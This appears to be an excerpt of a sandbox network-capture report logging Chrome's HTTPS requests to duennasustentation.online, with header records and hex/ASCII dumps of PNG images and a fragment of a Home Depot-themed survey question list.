2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 65 70 6f 74 3f 22 2c 0d 0a 20 20 20 20 22 51 75 61 6c 69 74 79 20 74 6f 6f 6c 73 20 61 6e 64 20 6d 61 74 65 72 69 61 6c 73 22 2c 0d 0a 20 20 20 20 22 52 65 6c 69 61 62 6c 65 20 66 6f 72 20 68 6f 6d 65 20 70 72 6f 6a 65 63 74 73 22 2c 0d 0a 20 20 20 20 22 47 6f 6f 64 20 70 72 69 63 65 73 22 2c 0d 0a 20 20 20 20 22 4e 6f 74 20 76 65 72 79 20 66 61 6d 69 6c 69 61 72 20 77 69 74 68 20 69 74 22 2c 0d 0a 20 20 20 20 22 48 6f 77 20 6f 66 74 65 6e 20 64 6f 20 79 6f 75 20 76 69 73 69 74 20 54 68 65 20 48 6f 6d 65 20 44 65 70 6f 74 20 66 6f 72 20 68 6f 6d 65 20 69 6d 70 72 6f 76 65 6d 65 6e 74 20 6e 65 65 64 73 3f 22 2c 0d 0a 20 20 20 20 22 41 74 20 6c 65 61 73 74 20 6f 6e 63 65 20 61 20 6d 6f 6e 74 68 22 2c 0d 0a 20 20 20 20 22 41 20 66 65 77 20 74 69 6d 65 73 20 Data Ascii: epot?", "Quality tools and materials", "Reliable for home projects", "Good prices", "Not very familiar with it", "How often do you visit The Home Depot for home improvement needs?", "At least once a month", "A few times
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 20 74 6f 20 6b 6e 6f 77 20 6d 6f 72 65 20 61 62 6f 75 74 20 69 74 22 2c 0d 0a 20 20 20 20 22 57 68 61 74 20 77 6f 75 6c 64 20 6d 6f 73 74 20 65 6e 63 6f 75 72 61 67 65 20 79 6f 75 20 74 6f 20 74 72 79 20 61 20 6e 65 77 20 70 72 6f 64 75 63 74 20 66 72 6f 6d 20 54 68 65 20 48 6f 6d 65 20 44 65 70 6f 74 3f 22 2c 0d 0a 20 20 20 20 22 50 6f 73 69 74 69 76 65 20 72 65 76 69 65 77 73 20 61 6e 64 20 72 61 74 69 6e 67 73 22 2c 0d 0a 20 20 20 20 22 41 20 72 65 63 6f 6d 6d 65 6e 64 61 74 69 6f 6e 20 66 72 6f 6d 20 73 74 61 66 66 22 2c 0d 0a 20 20 20 20 22 53 70 65 63 69 61 6c 20 64 69 73 63 6f 75 6e 74 20 6f 72 20 6f 66 66 65 72 22 2c 0d 0a 20 20 20 20 22 48 69 67 68 20 71 75 61 6c 69 74 79 20 66 6f 72 20 74 68 65 20 70 72 69 63 65 22 0d 0a 5d 3b 0d 0a 0d 0a 76 61 Data Ascii: to know more about it", "What would most encourage you to try a new product from The Home Depot?", "Positive reviews and ratings", "A recommendation from staff", "Special discount or offer", "High quality for the price"];va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49756	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	429	OUT	GET /images/f_guarantee.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:38 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: image/png Content-Length: 6352 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2943-18d0" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:16:51 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RzTX1PqvdusZmVdImLdByGd0E%2BZpee4ysDThfvFAOtC7w0TSExRoGI3XNSiF4YrZBwiIDejxQ3JdDiNi98dsMM8Nq%2Fikz5GJ1j3NuGNs%2FRSolz0nQLc9%2Bp8Q50oMhqaZIwzp9mFrtUActyi4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7792915435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1569&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1007&delivery_rate=1729857&cwnd=128&unsent_bytes=0&cid=deb1a20da87a1355&ts=902&x=0"
2025-01-08 14:44:38 UTC	321	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 5d 08 03 00 00 00 1b 98 21 f2 00 00 02 7f 50 4c 54 45 00 00 00 d9 d4 c7 db d6 ca de da cc d8 d5 c9 cd cd cc ca c9 c6 99 9a 9a c1 c0 bd 97 98 9d f1 e0 a6 e5 dc bb ee df ab cb c8 c6 a7 a7 aa b5 b5 b4 bc bd ba bb bd c0 f8 e6 af b3 b2 b1 c7 c7 c8 e0 cf 82 8b 8d 8d e9 ce 7a e7 d5 91 d1 bd 7e f3 e0 a1 b7 aa 88 ec d8 90 a7 a9 ac e6 d7 a7 f1 e1 af 87 88 8b e8 cb 6c d7 c6 87 c2 b2 82 cc be 9a dd c8 76 81 7e 7f e5 cf 7d 9e 9f 9e 9f 98 8c cc bc 92 ab 9c 7d 17 18 1c 01 01 03 13 14 1a fb da 6e fc d1 53 f9 d4 54 fa cc 38 05 06 0b fb d7 63 08 0b 15 0a 0b 0f fd d8 67 0e 12 14 0d 0f 18 fc d4 5c f7 d6 5b fe df 6d fe dc 61 fa d2 48 28 28 2b 1d 1f 22 33 34 36 f6 cc 30 ff e1 5d f6 d6 60 fe d8 46 f7 d8 6b fb Data Ascii: PNGIHDR^]!PLTEz~lv~}}nST8cg\[maH((+"3460]`Fk
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: bf c1 b6 b6 b8 ab ac ad 68 68 6c e1 e2 e3 99 9b 9e 3b 3d 41 5d 4f 2d eb cf 67 fe d5 34 39 31 1d e7 e7 e7 fa da 60 54 56 5a 7d 70 45 fe d2 2e d5 d5 d6 47 49 4b ff e0 43 fd d1 3b 6e 60 35 f4 f5 f5 b6 a6 72 50 4f 50 fe cf 4b 68 59 29 33 29 17 42 44 46 fd eb 8e 5b 5b 5d ce b5 55 7d 6c 37 1c 16 1a fe e9 86 ff ef 77 f7 dd 72 eb cb 5b c0 aa 53 8d 7a 41 fc ed 98 84 84 87 ee d6 72 f5 ce 46 13 0d 0d a2 a3 a5 eb d4 7b 69 60 4a ff da 3a 3e 37 26 d3 bf 69 e0 c6 61 fe d7 4f ff e2 4b 99 83 3e b9 a1 4a c7 aa 42 d3 b6 41 fc cc 27 55 48 26 5e 4f 23 fd fd fe da db dd ca cc cc 8b 8d 8f ed dd 8a fa e3 83 e1 cc 6e ef d8 69 b4 a1 59 63 56 34 44 3a 1e c5 c6 c7 ff e8 64 cc b6 63 ad 98 50 88 74 32 77 65 2b fa ee a3 ff f1 81 fe f9 b5 91 92 94 7c 7f 83 a8 9d 77 bf ad 60 dc bf 54 a1 Data Ascii: hhl;=A]O-g491`TVZ}pE.GIKC;n`5rPOPKhY)3)BDF[[]U}l7wr[SzArF{i`J:>7&iaOK>JBA'UH&^O#niYcV4D:dcPt2we+\|w`T
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 47 2c 34 e1 74 20 98 d2 69 77 f7 a6 f7 28 e9 38 0b 41 a2 28 e0 7b 1c 33 0c 7d d5 8c e2 fa b6 14 9b 82 0f 12 4d d4 bf 1f e0 c7 f1 fb 93 92 fc e8 c0 be ba ba e3 ac 38 c6 3e 6f 0d a4 c7 d0 19 71 b5 18 69 72 26 3b 94 86 64 25 e2 89 35 20 48 86 23 15 71 27 1b 3c a6 0c 12 fb c4 ee 41 94 8e 58 2e c1 a5 cc 15 81 2d 90 3f 7f f9 72 59 59 f3 97 1f 05 fc 59 23 10 cb 01 7e 9c 67 8d f4 12 28 17 2d 4c ef 45 2c d9 26 84 c2 5c 5d 19 9e 58 86 50 d2 90 32 28 46 70 dd c9 c9 f6 69 84 89 ab 45 90 de ec 54 04 87 1a aa 01 be 42 11 a2 d1 84 84 64 5e be d2 fb 0a ff e3 2a 51 0a 0c aa f6 b8 31 ec 06 4b 37 65 03 9a 3b d2 63 76 c5 f6 38 18 90 02 4a 14 23 28 78 20 31 84 31 65 70 89 69 3b 83 a4 66 7f 82 90 34 8d 92 38 39 af d6 f0 8f 1e 3d aa 50 68 4e 3d 70 ed fc 63 7f de f6 99 14 f0 62 Data Ascii: G,4t iw(8A({3}M8>oqir&;d%5 H#q'<AX.-?rYYY#~g(-LE,&\]XP2(FpiETBd^*Q1K7e;cv8J#(x 11epi;f489=PhN=pcb
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 68 ef c8 e8 dd c6 56 e5 6c 82 5a 24 d6 ca 64 59 38 f7 18 77 35 0e 91 11 d7 2e 95 1c 19 5a c1 ea fb 4a 0a ee 31 66 ef 10 96 d7 74 e9 3a a1 f3 36 62 de ba f8 8a 4b f3 79 e3 fd fb ea b3 64 51 d2 a8 d1 09 82 3c b4 f6 49 28 4d 9b 22 26 26 a8 e1 72 2e b3 36 b1 76 1f 19 90 8b b5 d6 04 1d c1 7d 11 a4 ae af 24 b2 ae 6f d6 3c d4 17 56 30 7b 2c eb d2 97 8d 35 83 27 ce d6 cc 5d 5a 24 74 07 1f 0c 96 36 e9 ca 2f 1d bc 5a ae 16 08 58 75 d6 13 23 3b 05 9a 18 61 62 75 31 9d ba b6 27 f1 db d3 24 17 69 61 64 89 43 eb f8 ac 82 c8 c8 b0 4b d7 94 43 75 61 25 d7 6b c6 a7 22 6f 63 8b 7d 2b 49 fd 53 4d 2b 79 d7 74 c5 05 9f 37 9e 9a ba 13 af 55 c3 11 42 7d 26 09 e7 ae 05 8a b3 63 9b 78 f8 f1 ca d3 fd fe 6b 95 f9 51 02 d4 70 74 51 de 7a f6 20 7d 01 94 61 d8 11 6e 7c 5d d8 0f b7 6b Data Ascii: hVlZ$dY8w5.ZJ1ft:6bKydQ<I(M"&&r.6v}$o<V0{,5']Z$t6/ZXu#;abu1'$iadCKCua%k"oc}+ISM+yt7UB}&cxkQptQz }an\|]k
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 84 85 db dd 4d 13 78 47 7f 74 b8 58 a4 d5 c2 1d 88 a1 65 87 8b c3 a5 e1 e1 12 9f 0d b5 1a 8a 16 39 8c 2b e5 ce 86 35 3f 23 db 02 5b 81 47 ad 50 f4 41 0d 37 eb dd 01 2f 6d f0 cb f8 be 65 a7 39 89 c2 72 ec 85 94 07 cb 80 73 21 4a 64 0d 8c 02 76 55 10 c9 4b 01 9a fb e8 1a 75 51 12 46 a0 b5 d9 6e 0f 82 a7 4f c3 78 2d 27 aa 54 41 a1 69 aa b6 ca 75 fc 3b cd 21 7c 58 33 05 7c 6b 05 05 c7 55 43 fe 08 c3 8c a4 22 a8 8f 2f 0e 64 f1 12 5f da ec 13 5f 08 7c ca 6b ce 17 0d 63 04 93 a3 74 c5 25 bb 0c c9 85 b8 f9 6e ab 8a 8d d3 0f ef 5f df e9 f7 e2 50 08 76 0f 9b 10 5f de 9c 84 51 ee 74 43 72 ac 92 41 99 1c 2e 8e 0d 35 47 cb c3 41 15 70 17 81 0e c1 1a 80 20 0f 5b 35 36 75 f9 30 86 d3 b1 b1 5c 84 76 27 c3 89 80 d0 29 d2 54 a1 a7 4f a7 5d bc 98 d8 66 09 78 a1 cd b5 f2 33 Data Ascii: MxGtXe9+5?#[GPA7/me9rs!JdvUKuQFnOx-'TAiu;!\|X3\|kUC"/d__\|kct%n_Pv_QtCrA.5GAp [56u0\v')TO]fx3
2025-01-08 14:44:38 UTC	555	IN	Data Raw: 26 33 66 b6 7c b3 bf 72 cb eb bf e2 e0 04 ec dd c8 f9 28 44 18 a3 d1 d8 14 30 04 b0 d9 3d df 5a dd fe f3 93 dc 8e c6 bc 08 36 92 86 3b 27 db 1e b7 c7 1c 3e dc 20 64 33 4f 6b 48 bb 78 3a 6d 29 37 75 c7 46 8e ff 5e 28 c9 bf 8d ad d5 0d 87 15 17 4e 9d d1 c4 28 42 c0 7f 38 da d2 da 6a 13 5c be 70 ff 14 1b ed 17 a0 ac 80 9d a9 82 80 82 59 ba bf 94 76 f1 e1 52 bc e9 cd bf f9 29 bb 70 b2 a2 53 f7 73 6b 26 0c 80 10 dc 2b 61 a6 46 03 c8 d5 d0 34 34 64 0a a1 14 7d 11 94 78 f7 6a 56 db 4d d5 fd 78 d7 1b e3 b7 1d f1 5e 65 f2 53 6f 29 c0 9a 11 6a c0 5e 82 a8 06 1f 82 75 52 d6 02 66 69 5a da e9 50 56 74 3a d5 54 ef 2d 7e 60 d8 fe a6 78 bf 3d 16 d7 cc a6 5d ef 5f ce 14 66 1e 7e 76 01 68 99 70 07 00 5f 23 0b 7d b1 a4 62 27 d2 fd 8e 9c e9 5d 1f ee 37 18 e0 30 f2 a6 e1 bf Data Ascii: &3f\|r(D0=Z6;'> d3OkHx:m)7uF^(N(B8j\pYvR)pSsk&+aF44d}xjVMx^eSo)j^uRfiZPVt:T-~`x=]_f~vhp_#}b']70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49758	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	426	OUT	GET /images/flaglogo.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:38 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: image/png Content-Length: 1781 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294e-6f5" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:17:02 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uOyeZZzdw68aWtAXgQqzpoXghFRDeHFdF6iFNN4T%2FxJvJfXtL52B35u6HSjw0ArBhaYWEUYLdfCacNYI%2B70%2FLboFWMosFluUWaLnYAF8jN%2BvyC4BMhpK25HMQkoAK2z0EsqSE1M7zUKV%2FR5v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7792c424251-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2211&min_rtt=2210&rtt_var=831&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1004&delivery_rate=1315315&cwnd=248&unsent_bytes=0&cid=1e0d062cc728446a&ts=411&x=0"
2025-01-08 14:44:38 UTC	320	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 06 bc 49 44 41 54 78 01 ed d8 03 74 5c 5b 17 07 f0 9d 64 d8 78 b5 0b 75 6a db b6 1f ca 38 99 bc 38 13 ab 76 27 cf 66 6d c4 c6 b3 5f ed a8 b6 dd 26 35 fe df be 67 cd fd 14 4d e6 19 67 ad df 5d fb 84 7b fd ef 3e 23 fa 67 fd de cb 60 c8 6e 92 90 90 3f dc 60 c8 d7 bd f6 ea 57 e1 06 43 41 64 6e c2 3a bf eb 09 09 2f 5c 4c 48 68 cf b4 8c cc 65 de 2f d1 e4 ce 13 27 ae 36 ac df b0 67 27 91 df 1d a2 29 68 db 76 09 56 ad da 09 a2 28 4c a5 36 28 26 c2 36 a2 c7 ec 28 5b b5 9d 68 fc 56 22 15 23 d3 d5 f2 87 eb d5 9b d7 47 ad 0e 4d 53 28 82 1e 74 ec b8 08 b1 b1 39 50 2a 43 a0 50 04 a3 75 eb 79 98 3d 2b 1f 96 da 68 f8 db 8f c5 d9 16 cd 51 ea d4 ec 7f 94 38 39 ed 39 32 Data Ascii: PNGIHDR((mIDATxt\[dxuj88v'fm_&5gMg]{>#g`n?`WCAdn:/\LHhe/'6g')hvV(L6(&6([hV"#GMS(t9P*CPuy=+hQ8992
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 9d 18 d5 a4 c6 1f 68 ea b4 a8 d5 a0 81 ef ee 50 2a 83 a1 62 3d ba 27 20 22 22 1d 62 af 0a 41 bb 76 0b 39 c9 2c 70 b2 d0 a8 c3 41 e4 8e 98 99 d9 30 61 dd 64 ee 3f ab c1 1f 7f 38 db c5 da 26 f2 b4 f4 4f dd dd d7 62 f3 e6 fd b0 b4 0c 16 c9 4d 98 f0 09 d2 33 8a a1 d1 4a 4d b9 60 e0 c0 b7 91 9f 7f 18 75 6c 22 a1 1f b3 18 f7 13 b7 e0 f6 96 ea dd 49 4c c4 59 7f ff 10 46 55 a9 f2 1b c3 86 be dd 72 cc e8 4f 4e 5b 29 02 39 9d 60 f4 ec f5 1a 82 82 92 a4 e4 b8 a9 10 48 33 18 1e 9e ca 29 ea a1 e5 7d 8b 16 73 11 1d 9d 01 4b 4d 2c 74 d4 13 a5 44 d8 69 82 5d 6c 37 59 f8 30 aa 4c a5 5f d4 6a 42 ac 89 bc 76 10 79 c0 cf 6f 33 36 6e d8 07 a2 00 91 dc d4 a9 2b 90 9e 5e 24 0e 07 91 33 46 8e fc 80 93 3b 04 1b 4e 8e 7f 9e 45 e0 25 ea 81 12 22 ec 30 dd 7d d6 97 d1 ff e3 4b 45 dd Data Ascii: hP*b=' ""bAv9,pA0ad?8&ObM3JM`ul"ILYFUrON[)9`H3)}sKM,tDi]l7Y0L_jBvyo36n+^$3F;NE%"0}KE
2025-01-08 14:44:38 UTC	92	IN	Data Raw: 3f 7d 78 a8 34 1d 40 67 46 bf 74 83 c2 2e a2 c6 5b 89 66 6e e3 e9 60 4f 18 4c 70 86 2d ff 89 a8 1f a3 da e0 8b 79 4a 7a f4 b0 62 5d 59 00 7b 9f 65 b2 af d9 0f 2c 8f ad 66 33 d8 08 e6 c0 c8 1c 72 f1 fb fb b3 36 f8 2f da 02 8b 1b 0b 70 1e 6b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: ?}x4@gFt.[fn`OLp-yJzb]Y{e,f3r6/pkIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49760	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:38 UTC	420	OUT	GET /images/bg.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:39 UTC	1054	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:39 GMT Content-Type: image/png Content-Length: 338620 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2956-52abc" expires: Wed, 08 Jan 2025 14:44:38 GMT last-modified: Tue, 07 Jan 2025 13:17:10 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZONfK9Y%2FNgK9zcK6%2BM80YtqEHC3i%2Fxanle88Hh3n1ikzfMGWFZRaovhofp8N8TBX2mjlkmElhQ%2Fmxo%2BwpxH4lyIki8Gl4o5wV1J2ekAI8NwwXyi9%2BEYw0umlcnY5eYiaSU91R2AMr1LIvI6J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf77bd801ef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1858&min_rtt=1851&rtt_var=699&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=998&delivery_rate=1577525&cwnd=219&unsent_bytes=0&cid=6235073a79cc5435&ts=928&x=0"
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 60 00 00 01 c8 08 02 00 00 00 66 ae c1 99 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 08 12 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDR`fpHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 3e 20 3c 2f 72 64 66 3a 42 61 67 3e 20 3c 2f 70 68 6f 74 6f 73 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 61 39 37 37 62 38 64 34 2d 34 34 38 38 2d 62 35 34 66 2d 62 39 35 39 2d 64 30 38 64 62 62 30 30 38 37 33 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 32 2d 30 36 2d 32 38 54 32 32 3a 31 34 3a 35 36 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 Data Ascii: > </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:a977b8d4-4488-b54f-b959-d08dbb008732" stEvt:when="2022-06-28T22:14:56+08:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: fd e5 0f f6 f9 cf f8 f2 47 bc 7c 96 52 d8 1f 7c fb 85 bf fe 2b 7f fb 6f fa fd 2f b2 7d a3 6f 88 9e 67 0d 08 88 88 b9 ee 73 ed 23 00 cf 6b 1c f7 27 40 42 10 8c 90 00 23 e0 f9 7e 77 38 e8 80 e7 fa 1d 4b 3c 02 c8 a3 c1 a8 1b d7 5f f9 e9 bf e2 eb 7f 8e d7 ff b6 97 6f bb 3f 9a bb 39 18 42 92 12 08 33 6f ad 6f 7b db 5b 23 a9 2a 20 72 0f 7a 44 ee ee 30 67 2e 26 b2 aa 94 52 8a ea 78 34 e1 88 3c 33 20 d0 cc b6 ad dd b7 c7 63 db ad 9b 0a d7 a5 d6 5a 10 70 37 33 8b 08 11 a9 b5 d6 ba 94 5a 45 95 42 78 78 04 41 2d aa 45 49 89 88 6e d6 da be 3d b6 6d df dc 63 59 ea cb e5 b2 ac 4b 51 01 88 70 f3 40 78 78 cc 33 89 b1 af a6 a1 12 d5 61 d7 90 0b df d2 b2 88 88 6a 91 52 f2 2e 47 84 99 99 d9 b1 9d cc ad 9b f5 de cd 2c cd 0b 89 52 74 d8 4b 91 b4 3c 24 d3 a2 b5 de 5b 6b 66 46 Data Ascii: G\|R\|+o/}ogs#k'@B#~w8K<_o?9B3oo{[#* rzD0g.&Rx4<3 cZp73ZEBxxA-EIn=mcYKQp@xx3ajR.G,RtK<$[kfF
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 08 dd db f6 d8 1f 0f b7 1e e1 44 70 fe 4e de 80 19 30 4e 68 3a 5e 13 45 f3 56 c4 87 90 f8 c7 cb 1d be cc 0c 1d 9f 77 e6 dc d9 01 f7 08 c7 c4 1a 9e 9b 21 9e fe 1e cf 79 6e fb 70 f3 11 04 90 e8 c5 db d6 4b 6d 82 e8 8f f5 f1 ab 3d de d1 77 ba 49 84 4c f8 1f 7e c0 e1 9c cc 67 c9 e9 19 fd cf 03 64 9e d8 58 53 11 47 20 9a 10 e9 e6 6c 1b f6 07 7b 47 bd 70 79 e1 f2 c2 fd 46 61 d4 0b ea 95 ba 44 10 ad 53 1a 28 14 e5 f5 93 68 44 df 41 89 72 61 00 d6 d3 d7 89 e8 ec 0f d9 de 78 fb 55 de 7f e6 db 2f 6c 0f aa 46 fd 1c 75 89 e5 ca f5 95 f5 85 cb 0b 96 95 65 81 08 e0 ba 7f c3 ad b1 6d 6c 77 ec 37 ee 37 ec 37 f6 87 f4 86 30 84 1f 57 c2 f3 fe e4 05 cc 0d f6 7c b1 31 7f 7a 2c e0 74 1d 23 32 6e 1b 30 79 3e b2 04 aa e3 d9 45 44 37 df 5b 7b 6c 9d bb 7b 37 b5 98 81 bd 00 21 c7 Data Ascii: DpN0Nh:^EVw!ynpKm=wIL~gdXSG l{GpyFaDS(hDAraxU/lFuemlw7770W\|1z,t#2n0y>ED7[{l{7!
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: c7 07 04 c6 33 e2 1d 11 d3 fc d9 13 09 10 11 11 82 f0 91 21 00 64 ac 7b 01 22 34 4a a9 b5 2e 5e 57 89 08 ef 40 78 b7 b1 33 33 ba d4 02 c0 bb 0d 10 3a 2e f3 09 e5 30 d3 65 55 f4 65 bd 3c 2e 97 f7 5a 6e ee d6 36 6f 9b 00 45 45 44 49 c6 91 ee 4d 00 38 42 f5 88 dc f9 94 7c 76 e9 96 66 24 3e 83 3f 11 8a 0c 1f 6f 46 78 cc 37 fb 20 81 f3 cd 2a 22 83 13 88 79 ce 44 08 44 d2 90 8d db 3b bc ee 11 16 f8 e1 57 bb 77 33 eb 1e e1 22 da 6b e9 a5 ba 40 6d db ec de fa ee 66 19 98 7e 74 b1 e3 19 08 7f f8 d1 84 c2 93 45 3e 22 fc e7 e0 f8 47 9f 7d 82 f7 f1 ab 8c 80 ed b1 df 63 bf e3 35 70 f9 1c a4 ad af 12 8e e5 82 eb 17 5c bf 70 b9 32 3a 1e bf b1 6d 68 77 d8 46 38 a5 90 05 2c 20 22 0c de 60 1b da 86 be b3 77 84 87 5e 62 f9 84 7a 61 5d b1 5c 51 17 68 01 18 6e e8 3b da 03 ed Data Ascii: 3!d{"4J.^W@x33:.0eUe<.Zn6oEEDIM8B\|vf$>?oFx7 *"yDD;Ww3"k@mf~tE>"G}c5p\p2:mhwF8, "`w^bza]\Qhn;
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: b3 e8 dd 2d 31 f2 f8 a0 91 ad 07 80 3c bf 5c c9 25 e9 41 32 f9 46 9f 65 62 f9 68 84 32 29 de 20 83 cf d0 98 20 84 00 2c e0 01 43 be 67 dc 18 02 08 79 4a 27 04 c2 dc dd 99 8c a8 1c fe 3f 13 53 73 73 45 9c c4 ce 41 a2 cc 5c 47 24 1f b0 d4 65 59 96 92 e5 73 91 a0 4b 9b 8f 00 c9 67 61 ec 1e 1f 47 4b e4 0c 77 e1 2c 27 43 64 19 63 04 11 f0 20 02 8a 49 51 46 84 85 0f 9c 8d 70 37 b7 9e b4 39 54 59 0b 31 d2 39 cc ad 31 a3 fe e4 d9 18 63 3f 65 3d 40 7a 42 93 01 1c d7 36 0c 7e 44 0c 66 db 26 62 cf 50 fa bf fb 7a 72 32 9f 83 a4 ff c5 d7 08 7c 48 d1 90 05 cb d5 97 4f be bc 46 b9 a0 ac 78 f9 8a f5 33 a0 e1 3d 7a 